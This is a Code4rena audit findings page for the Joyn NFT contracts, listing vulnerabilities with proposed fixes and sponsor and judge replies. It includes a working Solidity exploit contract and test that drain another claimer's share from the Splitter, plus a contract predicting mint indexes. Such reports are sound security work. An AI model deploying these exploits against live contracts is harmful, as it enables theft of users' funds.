Platform: Code4rena
Start Date: 30/03/2022
Pot Size: $30,000 USDC
Total HM: 21
Participants: 38
Period: 3 days
Judge: Michael De Luca
Total Solo HM: 10
Id: 104
League: ETH
Rank: 4/38
Findings: 6
Award: $2,346.14
🌟 Selected for report: 3
🚀 Solo Findings: 1
🌟 Selected for report: hickuphh3
Also found by: 0xDjango, kirk-baird, leastwood, m9800, minhquanym, pedroais
203.7202 USDC - $203.72
https://github.com/code-423n4/2022-03-joyn/blob/main/core-contracts/contracts/ERC721Payable.sol#L54
The transferFrom()
function returns a boolean value indicating success. This parameter needs to be checked to see if the transfer has been successful. Oddly, transfer()
function calls were checked.
Some tokens like EURS and BAT will not revert if the transfer failed but return false
instead. Tokens that don't actually perform the transfer and return false
are still counted as a correct transfer.
Users would be able to mint NFTs for free regardless of mint fee if tokens that don’t revert on failed transfers were used.
Check the success
boolean of all transferFrom()
calls. Alternatively, use OZ’s SafeERC20
’s safeTransferFrom()
function.
#0 - sofianeOuafir
2022-04-14T15:09:15Z
In my opinion, the severity level should be 3 (High Risk) instead of 2 (Med Risk)
This is clearly an issue that needs to be fixed and represents a high risk. Currently, the current state of the code would allow users to mint tokens even if the payment isn't successful.
#1 - deluca-mike
2022-04-21T15:03:35Z
payableToken
seems to be defined by whomever defines the Collection
in createProject
, so it would be possible for that person to define a payable token that, unbeknownst to them, behaves unexpectedly. I agree with high risk (unless there is some person/committee that is curates and validates the paybaleToken
s ahead of time). Need to handle return from transfer
and transferFrom
, as well as erc20s that do not return anything from from transfer
and transferFrom
.
103.9584 USDC - $103.96
https://github.com/code-423n4/2022-03-joyn/blob/main/splits/contracts/Splitter.sol#L149-L169
The incrementWindow()
can be exploited such that it allows a valid claimer to drain funds from the splitter and royalty vault.
require( IRoyaltyVault(msg.sender).getSplitter() == address(this), "Unauthorised to increment window" );
means that the caller is authorized as long as it implements a getSplitter()
function that returns the splitter proxy address.
wethBalance = IERC20(splitAsset).balanceOf(address(this)); require(wethBalance >= royaltyAmount, "Insufficient funds");
assumes that the funds have been transferred such that the contract’s balance exceeds the royalty amount, which isn’t necessarily the case as the contract will have funds accumulated from previous rounds.
An attacker can therefore create a malicious royalty vault that exploits the incrementWindow()
function for his benefit.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface ISplitter { function incrementWindow(uint256 royaltyAmount) external returns (bool); } interface IRoyaltyVault { function royaltyAsset() external view returns (address); function getSplitter() external view returns (address); function getVaultBalance() external view returns (uint256); function sendToSplitter() external; } contract MaliciousRoyaltyVault { address private splitter; function supportsInterface(bytes4 interfaceId) external pure returns (bool) { return true; } function getSplitter() external view returns (address) { return splitter; } function exploit(IRoyaltyVault vault, uint numIterations) external { splitter = vault.getSplitter(); if (vault.getVaultBalance() > 0) { vault.sendToSplitter(); } // numIterations depends on attacker's or this contract's scaledPercentage uint i; for (i; i < numIterations; ++i) { ISplitter(splitter).incrementWindow(IERC20(vault.royaltyAsset()).balanceOf(splitter)); } // if this contract was added as claimer, can call claimForAllWindows() directly // otherwise, use flashbots to bundle with a claimForAllWindows() call } }
Add this scenario test anywhere in the "when there is a 50-50 allocation"
section.
account2
should be able to only claim 0.45 ETH, but is able to claim account1
's share as wellit.only("Will exploit royalty vault + splitter funds", async () => { await fakeWETH .connect(funder) .transfer(royaltyVaultProxy, ethers.utils.parseEther("1")); const maliciousRoyaltyVault = await ethers.getContractFactory("MaliciousRoyaltyVault"); const myMaliciousRoyaltyVault = await maliciousRoyaltyVault.deploy(); await myMaliciousRoyaltyVault.deployed(); await myMaliciousRoyaltyVault.exploit(royaltyVaultProxyContract.address, 1); const account = account2.address; const allocation = BigNumber.from("5000"); const proof = tree.getProof(account, allocation); await splitProxy .connect(account2) .claimForAllWindows(allocation, proof); const accountBalanceAfter = await fakeWETH.balanceOf(account); expect(await fakeWETH.balanceOf(splitProxy.address)).to.eq(0); // account should only get 0.45 WETH, but he got 0.9 instead expect(accountBalanceAfter.toString()).to.eq( ethers.utils.parseEther("0.90").toString() ); });
The simplest fix is to pull funds from msg.sender
.
require(royaltyAmount > 0, "No additional funds for window"); // assume use SafeERC20 for IERC20 IERC20(splitAsset).safeTransferFrom(msg.sender, address(this), royaltyAmount);
#0 - sofianeOuafir
2022-04-14T19:27:53Z
duplicate of #3
724.5042 USDC - $724.50
The withdraw()
function does
payableToken.transferFrom(address(this), msg.sender, amount);
but no allowance has been given by the core collection contract to msg.sender
. Hence, attempted withdrawals will fail.
If the royalty vault hasn’t been sent and there is a non-zero NFT mint fee, collected funds will be permanently stuck in the core collection contract.
Add await coreCollection.connect(alice).withdraw();
to the referenced test below. The test also currently omits the await
keyword in L714, making the test a false positive.
https://github.com/code-423n4/2022-03-joyn/blob/main/core-contracts/test/CoreCollection.js#L713-L743
it.only('it should send 1 wETH to itself', async () => { // add await keyword await weth .connect(alice) .approve( coreCollection.address, ethers.utils.parseEther('1'), ) .then(async () => { const tx = await coreCollection .connect(alice) .mintToken( mariaAddr, isClaim, 1, mintAmount, mariasProof, ); const receipt = await tx.wait(); const events = findEvents({ receipt, eventName: 'NewPayment', }); expect(events.length).to.equal(1); const { from, to, amount, royaltyVault } = events[0].args; expect(from).to.equal(alice.address); expect(to).to.equal(coreCollection.address); expect(amount).to.equal(ethers.utils.parseEther('1')); expect(royaltyVault).to.not.be.ok; }); await coreCollection.connect(alice).withdraw(); });
The test should revert with
Error: VM Exception while processing transaction: reverted with reason string 'ERC20: insufficient allowance'
Change the function to safeTransfer()
(using SafeERC20) instead.
payableToken.safeTransfer(msg.sender, amount);
#0 - sofianeOuafir
2022-04-14T22:22:03Z
duplicate of #52
#1 - deluca-mike
2022-06-11T21:59:27Z
Actually a duplicate of #80
🌟 Selected for report: kirk-baird
146.7121 USDC - $146.71
https://github.com/code-423n4/2022-03-joyn/blob/main/core-contracts/contracts/ERC721Payable.sol#L54-L55 https://github.com/code-423n4/2022-03-joyn/blob/main/core-contracts/contracts/CoreCollection.sol#L175-L176
Tokens that are charge a fee on transfer will not work correctly if it is specified as a payment token for NFT mints or as a royalty asset.
NewPayment
and NewWithdrawal
events might not match the actual amounts paid / withdrawnsplitterShare
and platformShare
amounts recorded might not match the actual amounts sent. The claimable amount calculated in the Splitter
contract would be higher than the actual amount, causing claims to failConsider using the difference between the before and after balances as the actual amount.
#0 - deluca-mike
2022-04-22T04:59:25Z
Duplicate of #43
🌟 Selected for report: hickuphh3
805.0047 USDC - $805.00
In Paradigm’s article “A Guide to Designing Effective NFT Launches”, one of the desirable properties of an NFT launch is unexploitable fairness: Launches must have true randomness to ensure that predatory users cannot snipe the rarest items at the expense of less sophisticated users.
It is therefore highly recommended to find a good source of entropy for the generation of the starting index. The block.number
isn’t random at all; it only incrementally increases, allowing anyone to easily compute the starting indexes of the next 10,000 blocks for instance.
contract FortuneTeller { function predictStartingIndexes(uint256 maxSupply, uint256 numBlocks) external view returns (uint256[] memory startingIndexes) { startingIndexes = new uint[](numBlocks); for (uint256 i = 0; i < numBlocks; ++i) { startingIndexes[i] = (uint256( keccak256(abi.encodePacked("CoreCollection", block.number + i)) ) % maxSupply) + 1; } } }
Coupled with the fact that the _baseUri
is set upon initialization, the metadata could be scrapped beforehand to determine the rare NFTs.
Thus, NFT mints can be gamed / exploited.
Consider exploring the use of commit-reveal schemes (eg. blockhash of a future block, less gameable but not foolproof) or VRFs.
#0 - sofianeOuafir
2022-04-15T13:52:23Z
This is a known issue and for now, we're not going to solve it
#1 - deluca-mike
2022-04-22T04:56:28Z
I'd reconsider not completely it, but rather doing keccak256(abi.encodePacked("CoreCollection", blockhash(block.number - 1), block.coinbase, msg.sender, i))
so at least there is a much smaller set of users that will know what the previous blockhash and the current miner will be by the time the tx mines, and it will be salted with the sender.
It's not perfect, but it's significantly better.
362.2521 USDC - $362.25
https://github.com/code-423n4/2022-03-joyn/blob/main/splits/contracts/Splitter.sol#L14 https://github.com/code-423n4/2022-03-joyn/blob/main/splits/contracts/Splitter.sol#L103
There is a PERCENTAGE_SCALE = 10e5
defined, but the actual denominator used is 10000
. This is aggravated by the following factors:
PERCENTAGE_SCALE
instead of 10000
.Thus, if an incorrect denominator is used, the calculated claimable amount could exceed the actual available funds in the contract, causing claims to fail and funds to be permanently locked.
Remove PERCENTAGE_SCALE
because it is unused, or replace its value with 10_000
and use that instead.
P.S: there is an issue with the example scaled percentage given for platform fees (5% = 200)
. Should be 500
instead of 200
.
#0 - sofianeOuafir
2022-04-15T13:54:44Z
This is an issue and we intend to fix it